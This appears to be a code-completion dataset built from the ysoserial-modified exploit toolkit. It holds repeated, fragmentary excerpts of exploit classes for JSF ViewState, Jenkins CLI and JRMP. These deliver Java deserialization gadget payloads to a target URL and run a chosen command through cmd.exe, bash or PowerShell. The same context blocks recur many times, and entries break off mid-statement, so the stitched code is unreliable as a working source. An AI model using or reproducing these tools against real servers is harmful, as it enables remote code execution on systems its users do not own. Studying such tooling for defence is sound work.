// clazz = (Class<? extends ObjectPayload>) Class.forName(className);
// }
// catch ( Exception e1 ) {}
// if ( clazz == null ) {
// try {
// return clazz = (Class<? extends ObjectPayload>) Class
// .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className);
// }
// catch ( Exception e2 ) {}
// }
// if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) {
// clazz = null;
// }
// return clazz;
// }
//
//
// public static Object makePayloadObject ( String payloadType, CmdExecuteHelper cmdHelper ) {
// final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
// if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
// throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
//
// }
//
// final Object payloadObject;
// try {
// final ObjectPayload payload = payloadClass.newInstance();
// payloadObject = payload.getObject(cmdHelper);
// }
// catch ( Exception e ) {
// throw new IllegalArgumentException("Failed to construct payload", e);
// }
// return payloadObject;
// }
//
//
// @SuppressWarnings ( "unchecked" )
// public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception {
// if ( payload instanceof ReleaseableObjectPayload ) {
// ( (ReleaseableObjectPayload) payload ).release(object);
// }
// }
//
//
// public static void releasePayload ( String payloadType, Object payloadObject ) {
// final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
// if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
// throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
//
// }
//
// try {
// final ObjectPayload payload = payloadClass.newInstance();
// releasePayload(payload, payloadObject);
// }
// catch ( Exception e ) {
// e.printStackTrace();
// }
//
// }
// }
//
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
//
// private String terminalType;
//
// private String[] commandArray;
//
// private String command;
//
// public CmdExecuteHelper(String terminalType, String command) {
// super();
// this.terminalType = terminalType;
// this.command = command;
//
// switch (terminalType) {
// case "cmd":
// this.commandArray = new String[]{"cmd.exe","/c", command};
// break;
// case "bash":
// this.commandArray = new String[]{"/bin/bash","-c", command};
// break;
// case "powershell":
// this.commandArray = new String[]{"powershell.exe","-c", command};
// break;
// default:
// this.commandArray = new String[]{command};
// break;
// }
// }
//
// public String[] getCommandArray() {
// return commandArray;
// }
//
// public void setCommandArray(String[] commandArray) {
// this.commandArray = commandArray;
// }
//
// public String getCommand() {
// return command;
// }
//
// public void setCommand(String command) {
// this.command = command;
// }
//
// public String getTerminalType() {
// return terminalType;
// }
//
// public void setTerminalType(String terminalType) {
// this.terminalType = terminalType;
// }
//
// }
| import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLEncoder;
import org.apache.commons.codec.binary.Base64;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.CmdExecuteHelper; | package ysoserial.exploit;
/**
* JSF view state exploit
*
* Delivers a gadget payload via JSF ViewState token.
*
* This will only work if ViewState encryption/mac is disabled.
*
* While it has been long known that client side state saving
* with encryption disabled leads to RCE via EL injection,
* this of course also works with deserialization gadgets.
*
* Also, it turns out that MyFaces is vulnerable to this even when
* using server-side state saving
* (yes, please, let's (de-)serialize a String as an Object).
*
* @author mbechler
*
*/
public class JSF {
public static void main ( String[] args ) {
if ( args.length < 4 ) {
System.err.println(JSF.class.getName() + " <view_url> <payload_type> <terminal_type> <payload_arg>");
System.exit(-1);
}
CmdExecuteHelper cmdHelper = new CmdExecuteHelper(args[2], args[3]); | // Path: src/main/java/ysoserial/payloads/ObjectPayload.java
// public static class Utils {
//
// // get payload classes by classpath scanning
// public static Set<Class<? extends ObjectPayload>> getPayloadClasses () {
// final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
// final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);
// for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) {
// Class<? extends ObjectPayload> pc = iterator.next();
// if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) {
// iterator.remove();
// }
// }
// return payloadTypes;
// }
//
//
// @SuppressWarnings ( "unchecked" )
// public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) {
// Class<? extends ObjectPayload> clazz = null;
// try {
// clazz = (Class<? extends ObjectPayload>) Class.forName(className);
// }
// catch ( Exception e1 ) {}
// if ( clazz == null ) {
// try {
// return clazz = (Class<? extends ObjectPayload>) Class
// .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className);
// }
// catch ( Exception e2 ) {}
// }
// if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) {
// clazz = null;
// }
// return clazz;
// }
//
//
// public static Object makePayloadObject ( String payloadType, CmdExecuteHelper cmdHelper ) {
// final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
// if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
// throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
//
// }
//
// final Object payloadObject;
// try {
// final ObjectPayload payload = payloadClass.newInstance();
// payloadObject = payload.getObject(cmdHelper);
// }
// catch ( Exception e ) {
// throw new IllegalArgumentException("Failed to construct payload", e);
// }
// return payloadObject;
// }
//
//
// @SuppressWarnings ( "unchecked" )
// public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception {
// if ( payload instanceof ReleaseableObjectPayload ) {
// ( (ReleaseableObjectPayload) payload ).release(object);
// }
// }
//
//
// public static void releasePayload ( String payloadType, Object payloadObject ) {
// final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
// if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
// throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
//
// }
//
// try {
// final ObjectPayload payload = payloadClass.newInstance();
// releasePayload(payload, payloadObject);
// }
// catch ( Exception e ) {
// e.printStackTrace();
// }
//
// }
// }
//
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
//
// private String terminalType;
//
// private String[] commandArray;
//
// private String command;
//
// public CmdExecuteHelper(String terminalType, String command) {
// super();
// this.terminalType = terminalType;
// this.command = command;
//
// switch (terminalType) {
// case "cmd":
// this.commandArray = new String[]{"cmd.exe","/c", command};
// break;
// case "bash":
// this.commandArray = new String[]{"/bin/bash","-c", command};
// break;
// case "powershell":
// this.commandArray = new String[]{"powershell.exe","-c", command};
// break;
// default:
// this.commandArray = new String[]{command};
// break;
// }
// }
//
// public String[] getCommandArray() {
// return commandArray;
// }
//
// public void setCommandArray(String[] commandArray) {
// this.commandArray = commandArray;
// }
//
// public String getCommand() {
// return command;
// }
//
// public void setCommand(String command) {
// this.command = command;
// }
//
// public String getTerminalType() {
// return terminalType;
// }
//
// public void setTerminalType(String terminalType) {
// this.terminalType = terminalType;
// }
//
// }
// Path: src/main/java/ysoserial/exploit/JSF.java
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLEncoder;
import org.apache.commons.codec.binary.Base64;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.CmdExecuteHelper;
package ysoserial.exploit;
/**
* JSF view state exploit
*
* Delivers a gadget payload via JSF ViewState token.
*
* This will only work if ViewState encryption/mac is disabled.
*
* While it has been long known that client side state saving
* with encryption disabled leads to RCE via EL injection,
* this of course also works with deserialization gadgets.
*
* Also, it turns out that MyFaces is vulnerable to this even when
* using server-side state saving
* (yes, please, let's (de-)serialize a String as an Object).
*
* @author mbechler
*
*/
public class JSF {
public static void main ( String[] args ) {
if ( args.length < 4 ) {
System.err.println(JSF.class.getName() + " <view_url> <payload_type> <terminal_type> <payload_arg>");
System.exit(-1);
}
CmdExecuteHelper cmdHelper = new CmdExecuteHelper(args[2], args[3]); | final Object payloadObject = Utils.makePayloadObject(args[ 1 ], cmdHelper); |
pimps/ysoserial-modified | src/main/java/ysoserial/exploit/JenkinsCLI.java | // Path: src/main/java/ysoserial/payloads/ObjectPayload.java
// public static class Utils {
//
// // get payload classes by classpath scanning
// public static Set<Class<? extends ObjectPayload>> getPayloadClasses () {
// final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
// final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);
// for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) {
// Class<? extends ObjectPayload> pc = iterator.next();
// if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) {
// iterator.remove();
// }
// }
// return payloadTypes;
// }
//
//
// @SuppressWarnings ( "unchecked" )
// public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) {
// Class<? extends ObjectPayload> clazz = null;
// try {
// clazz = (Class<? extends ObjectPayload>) Class.forName(className);
// }
// catch ( Exception e1 ) {}
// if ( clazz == null ) {
// try {
// return clazz = (Class<? extends ObjectPayload>) Class
// .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className);
// }
// catch ( Exception e2 ) {}
// }
// if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) {
// clazz = null;
// }
// return clazz;
// }
//
//
// public static Object makePayloadObject ( String payloadType, CmdExecuteHelper cmdHelper ) {
// final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
// if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
// throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
//
// }
//
// final Object payloadObject;
// try {
// final ObjectPayload payload = payloadClass.newInstance();
// payloadObject = payload.getObject(cmdHelper);
// }
// catch ( Exception e ) {
// throw new IllegalArgumentException("Failed to construct payload", e);
// }
// return payloadObject;
// }
//
//
// @SuppressWarnings ( "unchecked" )
// public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception {
// if ( payload instanceof ReleaseableObjectPayload ) {
// ( (ReleaseableObjectPayload) payload ).release(object);
// }
// }
//
//
// public static void releasePayload ( String payloadType, Object payloadObject ) {
// final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
// if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
// throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
//
// }
//
// try {
// final ObjectPayload payload = payloadClass.newInstance();
// releasePayload(payload, payloadObject);
// }
// catch ( Exception e ) {
// e.printStackTrace();
// }
//
// }
// }
//
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
//
// private String terminalType;
//
// private String[] commandArray;
//
// private String command;
//
// public CmdExecuteHelper(String terminalType, String command) {
// super();
// this.terminalType = terminalType;
// this.command = command;
//
// switch (terminalType) {
// case "cmd":
// this.commandArray = new String[]{"cmd.exe","/c", command};
// break;
// case "bash":
// this.commandArray = new String[]{"/bin/bash","-c", command};
// break;
// case "powershell":
// this.commandArray = new String[]{"powershell.exe","-c", command};
// break;
// default:
// this.commandArray = new String[]{command};
// break;
// }
// }
//
// public String[] getCommandArray() {
// return commandArray;
// }
//
// public void setCommandArray(String[] commandArray) {
// this.commandArray = commandArray;
// }
//
// public String getCommand() {
// return command;
// }
//
// public void setCommand(String command) {
// this.command = command;
// }
//
// public String getTerminalType() {
// return terminalType;
// }
//
// public void setTerminalType(String terminalType) {
// this.terminalType = terminalType;
// }
//
// }
| import java.io.DataOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.HttpURLConnection;
import java.net.InetSocketAddress;
import java.net.MalformedURLException;
import java.net.Socket;
import java.net.SocketException;
import java.net.URL;
import java.net.URLConnection;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.ThreadFactory;
import javax.net.SocketFactory;
import hudson.remoting.Callable;
import hudson.remoting.Channel;
import hudson.remoting.Channel.Mode;
import hudson.remoting.ChannelBuilder;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.CmdExecuteHelper; | package ysoserial.exploit;
/**
* Jenkins CLI client
*
* Jenkins unfortunately is still using a custom serialization based
* protocol for remote communications only protected by a blacklisting
* application level filter.
*
* This is a generic client delivering a gadget chain payload via that protocol.
*
* @author mbechler
*
*/
public class JenkinsCLI {
public static final void main ( final String[] args ) {
if ( args.length < 4 ) {
System.err.println(JenkinsCLI.class.getName() + " <jenkins_url> <payload_type> <terminal_type> <cmd_to_exec>");
System.exit(-1);
}
| // Path: src/main/java/ysoserial/payloads/ObjectPayload.java
// public static class Utils {
//
// // get payload classes by classpath scanning
// public static Set<Class<? extends ObjectPayload>> getPayloadClasses () {
// final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
// final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);
// for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) {
// Class<? extends ObjectPayload> pc = iterator.next();
// if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) {
// iterator.remove();
// }
// }
// return payloadTypes;
// }
//
//
// @SuppressWarnings ( "unchecked" )
// public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) {
// Class<? extends ObjectPayload> clazz = null;
// try {
// clazz = (Class<? extends ObjectPayload>) Class.forName(className);
// }
// catch ( Exception e1 ) {}
// if ( clazz == null ) {
// try {
// return clazz = (Class<? extends ObjectPayload>) Class
// .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className);
// }
// catch ( Exception e2 ) {}
// }
// if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) {
// clazz = null;
// }
// return clazz;
// }
//
//
// public static Object makePayloadObject ( String payloadType, CmdExecuteHelper cmdHelper ) {
// final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
// if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
// throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
//
// }
//
// final Object payloadObject;
// try {
// final ObjectPayload payload = payloadClass.newInstance();
// payloadObject = payload.getObject(cmdHelper);
// }
// catch ( Exception e ) {
// throw new IllegalArgumentException("Failed to construct payload", e);
// }
// return payloadObject;
// }
//
//
// @SuppressWarnings ( "unchecked" )
// public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception {
// if ( payload instanceof ReleaseableObjectPayload ) {
// ( (ReleaseableObjectPayload) payload ).release(object);
// }
// }
//
//
// public static void releasePayload ( String payloadType, Object payloadObject ) {
// final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
// if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
// throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
//
// }
//
// try {
// final ObjectPayload payload = payloadClass.newInstance();
// releasePayload(payload, payloadObject);
// }
// catch ( Exception e ) {
// e.printStackTrace();
// }
//
// }
// }
//
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
//
// private String terminalType;
//
// private String[] commandArray;
//
// private String command;
//
// public CmdExecuteHelper(String terminalType, String command) {
// super();
// this.terminalType = terminalType;
// this.command = command;
//
// switch (terminalType) {
// case "cmd":
// this.commandArray = new String[]{"cmd.exe","/c", command};
// break;
// case "bash":
// this.commandArray = new String[]{"/bin/bash","-c", command};
// break;
// case "powershell":
// this.commandArray = new String[]{"powershell.exe","-c", command};
// break;
// default:
// this.commandArray = new String[]{command};
// break;
// }
// }
//
// public String[] getCommandArray() {
// return commandArray;
// }
//
// public void setCommandArray(String[] commandArray) {
// this.commandArray = commandArray;
// }
//
// public String getCommand() {
// return command;
// }
//
// public void setCommand(String command) {
// this.command = command;
// }
//
// public String getTerminalType() {
// return terminalType;
// }
//
// public void setTerminalType(String terminalType) {
// this.terminalType = terminalType;
// }
//
// }
// Path: src/main/java/ysoserial/exploit/JenkinsCLI.java
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.HttpURLConnection;
import java.net.InetSocketAddress;
import java.net.MalformedURLException;
import java.net.Socket;
import java.net.SocketException;
import java.net.URL;
import java.net.URLConnection;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.ThreadFactory;
import javax.net.SocketFactory;
import hudson.remoting.Callable;
import hudson.remoting.Channel;
import hudson.remoting.Channel.Mode;
import hudson.remoting.ChannelBuilder;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.CmdExecuteHelper;
package ysoserial.exploit;
/**
* Jenkins CLI client
*
* Jenkins unfortunately is still using a custom serialization based
* protocol for remote communications only protected by a blacklisting
* application level filter.
*
* This is a generic client delivering a gadget chain payload via that protocol.
*
* @author mbechler
*
*/
public class JenkinsCLI {
public static final void main ( final String[] args ) {
if ( args.length < 4 ) {
System.err.println(JenkinsCLI.class.getName() + " <jenkins_url> <payload_type> <terminal_type> <cmd_to_exec>");
System.exit(-1);
}
| CmdExecuteHelper cmdHelper = new CmdExecuteHelper(args[2], args[3]); |
pimps/ysoserial-modified | src/main/java/ysoserial/exploit/JenkinsCLI.java | // Path: src/main/java/ysoserial/payloads/ObjectPayload.java
// public static class Utils {
//
// // get payload classes by classpath scanning
// public static Set<Class<? extends ObjectPayload>> getPayloadClasses () {
// final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
// final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);
// for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) {
// Class<? extends ObjectPayload> pc = iterator.next();
// if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) {
// iterator.remove();
// }
// }
// return payloadTypes;
// }
//
//
// @SuppressWarnings ( "unchecked" )
// public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) {
// Class<? extends ObjectPayload> clazz = null;
// try {
// clazz = (Class<? extends ObjectPayload>) Class.forName(className);
// }
// catch ( Exception e1 ) {}
// if ( clazz == null ) {
// try {
// return clazz = (Class<? extends ObjectPayload>) Class
// .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className);
// }
// catch ( Exception e2 ) {}
// }
// if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) {
// clazz = null;
// }
// return clazz;
// }
//
//
// public static Object makePayloadObject ( String payloadType, CmdExecuteHelper cmdHelper ) {
// final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
// if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
// throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
//
// }
//
// final Object payloadObject;
// try {
// final ObjectPayload payload = payloadClass.newInstance();
// payloadObject = payload.getObject(cmdHelper);
// }
// catch ( Exception e ) {
// throw new IllegalArgumentException("Failed to construct payload", e);
// }
// return payloadObject;
// }
//
//
// @SuppressWarnings ( "unchecked" )
// public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception {
// if ( payload instanceof ReleaseableObjectPayload ) {
// ( (ReleaseableObjectPayload) payload ).release(object);
// }
// }
//
//
// public static void releasePayload ( String payloadType, Object payloadObject ) {
// final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
// if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
// throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
//
// }
//
// try {
// final ObjectPayload payload = payloadClass.newInstance();
// releasePayload(payload, payloadObject);
// }
// catch ( Exception e ) {
// e.printStackTrace();
// }
//
// }
// }
//
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
//
// private String terminalType;
//
// private String[] commandArray;
//
// private String command;
//
// public CmdExecuteHelper(String terminalType, String command) {
// super();
// this.terminalType = terminalType;
// this.command = command;
//
// switch (terminalType) {
// case "cmd":
// this.commandArray = new String[]{"cmd.exe","/c", command};
// break;
// case "bash":
// this.commandArray = new String[]{"/bin/bash","-c", command};
// break;
// case "powershell":
// this.commandArray = new String[]{"powershell.exe","-c", command};
// break;
// default:
// this.commandArray = new String[]{command};
// break;
// }
// }
//
// public String[] getCommandArray() {
// return commandArray;
// }
//
// public void setCommandArray(String[] commandArray) {
// this.commandArray = commandArray;
// }
//
// public String getCommand() {
// return command;
// }
//
// public void setCommand(String command) {
// this.command = command;
// }
//
// public String getTerminalType() {
// return terminalType;
// }
//
// public void setTerminalType(String terminalType) {
// this.terminalType = terminalType;
// }
//
// }
| import java.io.DataOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.HttpURLConnection;
import java.net.InetSocketAddress;
import java.net.MalformedURLException;
import java.net.Socket;
import java.net.SocketException;
import java.net.URL;
import java.net.URLConnection;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.ThreadFactory;
import javax.net.SocketFactory;
import hudson.remoting.Callable;
import hudson.remoting.Channel;
import hudson.remoting.Channel.Mode;
import hudson.remoting.ChannelBuilder;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.CmdExecuteHelper; | package ysoserial.exploit;
/**
* Jenkins CLI client
*
* Jenkins unfortunately is still using a custom serialization based
* protocol for remote communications only protected by a blacklisting
* application level filter.
*
* This is a generic client delivering a gadget chain payload via that protocol.
*
* @author mbechler
*
*/
public class JenkinsCLI {
public static final void main ( final String[] args ) {
if ( args.length < 4 ) {
System.err.println(JenkinsCLI.class.getName() + " <jenkins_url> <payload_type> <terminal_type> <cmd_to_exec>");
System.exit(-1);
}
CmdExecuteHelper cmdHelper = new CmdExecuteHelper(args[2], args[3]);
| // Path: src/main/java/ysoserial/payloads/ObjectPayload.java
// public static class Utils {
//
// // get payload classes by classpath scanning
// public static Set<Class<? extends ObjectPayload>> getPayloadClasses () {
// final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
// final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);
// for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) {
// Class<? extends ObjectPayload> pc = iterator.next();
// if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) {
// iterator.remove();
// }
// }
// return payloadTypes;
// }
//
//
// @SuppressWarnings ( "unchecked" )
// public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) {
// Class<? extends ObjectPayload> clazz = null;
// try {
// clazz = (Class<? extends ObjectPayload>) Class.forName(className);
// }
// catch ( Exception e1 ) {}
// if ( clazz == null ) {
// try {
// return clazz = (Class<? extends ObjectPayload>) Class
// .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className);
// }
// catch ( Exception e2 ) {}
// }
// if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) {
// clazz = null;
// }
// return clazz;
// }
//
//
// public static Object makePayloadObject ( String payloadType, CmdExecuteHelper cmdHelper ) {
// final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
// if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
// throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
//
// }
//
// final Object payloadObject;
// try {
// final ObjectPayload payload = payloadClass.newInstance();
// payloadObject = payload.getObject(cmdHelper);
// }
// catch ( Exception e ) {
// throw new IllegalArgumentException("Failed to construct payload", e);
// }
// return payloadObject;
// }
//
//
// @SuppressWarnings ( "unchecked" )
// public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception {
// if ( payload instanceof ReleaseableObjectPayload ) {
// ( (ReleaseableObjectPayload) payload ).release(object);
// }
// }
//
//
// public static void releasePayload ( String payloadType, Object payloadObject ) {
// final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
// if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
// throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
//
// }
//
// try {
// final ObjectPayload payload = payloadClass.newInstance();
// releasePayload(payload, payloadObject);
// }
// catch ( Exception e ) {
// e.printStackTrace();
// }
//
// }
// }
//
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
//
// private String terminalType;
//
// private String[] commandArray;
//
// private String command;
//
// public CmdExecuteHelper(String terminalType, String command) {
// super();
// this.terminalType = terminalType;
// this.command = command;
//
// switch (terminalType) {
// case "cmd":
// this.commandArray = new String[]{"cmd.exe","/c", command};
// break;
// case "bash":
// this.commandArray = new String[]{"/bin/bash","-c", command};
// break;
// case "powershell":
// this.commandArray = new String[]{"powershell.exe","-c", command};
// break;
// default:
// this.commandArray = new String[]{command};
// break;
// }
// }
//
// public String[] getCommandArray() {
// return commandArray;
// }
//
// public void setCommandArray(String[] commandArray) {
// this.commandArray = commandArray;
// }
//
// public String getCommand() {
// return command;
// }
//
// public void setCommand(String command) {
// this.command = command;
// }
//
// public String getTerminalType() {
// return terminalType;
// }
//
// public void setTerminalType(String terminalType) {
// this.terminalType = terminalType;
// }
//
// }
// Path: src/main/java/ysoserial/exploit/JenkinsCLI.java
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.HttpURLConnection;
import java.net.InetSocketAddress;
import java.net.MalformedURLException;
import java.net.Socket;
import java.net.SocketException;
import java.net.URL;
import java.net.URLConnection;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.ThreadFactory;
import javax.net.SocketFactory;
import hudson.remoting.Callable;
import hudson.remoting.Channel;
import hudson.remoting.Channel.Mode;
import hudson.remoting.ChannelBuilder;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.CmdExecuteHelper;
package ysoserial.exploit;
/**
* Jenkins CLI client
*
* Jenkins unfortunately is still using a custom serialization based
* protocol for remote communications only protected by a blacklisting
* application level filter.
*
* This is a generic client delivering a gadget chain payload via that protocol.
*
* @author mbechler
*
*/
public class JenkinsCLI {
public static final void main ( final String[] args ) {
if ( args.length < 4 ) {
System.err.println(JenkinsCLI.class.getName() + " <jenkins_url> <payload_type> <terminal_type> <cmd_to_exec>");
System.exit(-1);
}
CmdExecuteHelper cmdHelper = new CmdExecuteHelper(args[2], args[3]);
| final Object payloadObject = Utils.makePayloadObject(args[1], cmdHelper); |
pimps/ysoserial-modified | src/main/java/ysoserial/exploit/JRMPClient.java | // Path: src/main/java/ysoserial/payloads/ObjectPayload.java
// public static class Utils {
//
// // get payload classes by classpath scanning
// public static Set<Class<? extends ObjectPayload>> getPayloadClasses () {
// final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
// final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);
// for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) {
// Class<? extends ObjectPayload> pc = iterator.next();
// if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) {
// iterator.remove();
// }
// }
// return payloadTypes;
// }
//
//
// @SuppressWarnings ( "unchecked" )
// public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) {
// Class<? extends ObjectPayload> clazz = null;
// try {
// clazz = (Class<? extends ObjectPayload>) Class.forName(className);
// }
// catch ( Exception e1 ) {}
// if ( clazz == null ) {
// try {
// return clazz = (Class<? extends ObjectPayload>) Class
// .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className);
// }
// catch ( Exception e2 ) {}
// }
// if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) {
// clazz = null;
// }
// return clazz;
// }
//
//
// public static Object makePayloadObject ( String payloadType, CmdExecuteHelper cmdHelper ) {
// final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
// if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
// throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
//
// }
//
// final Object payloadObject;
// try {
// final ObjectPayload payload = payloadClass.newInstance();
// payloadObject = payload.getObject(cmdHelper);
// }
// catch ( Exception e ) {
// throw new IllegalArgumentException("Failed to construct payload", e);
// }
// return payloadObject;
// }
//
//
// @SuppressWarnings ( "unchecked" )
// public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception {
// if ( payload instanceof ReleaseableObjectPayload ) {
// ( (ReleaseableObjectPayload) payload ).release(object);
// }
// }
//
//
// public static void releasePayload ( String payloadType, Object payloadObject ) {
// final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
// if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
// throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
//
// }
//
// try {
// final ObjectPayload payload = payloadClass.newInstance();
// releasePayload(payload, payloadObject);
// }
// catch ( Exception e ) {
// e.printStackTrace();
// }
//
// }
// }
//
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
//
// private String terminalType;
//
// private String[] commandArray;
//
// private String command;
//
// public CmdExecuteHelper(String terminalType, String command) {
// super();
// this.terminalType = terminalType;
// this.command = command;
//
// switch (terminalType) {
// case "cmd":
// this.commandArray = new String[]{"cmd.exe","/c", command};
// break;
// case "bash":
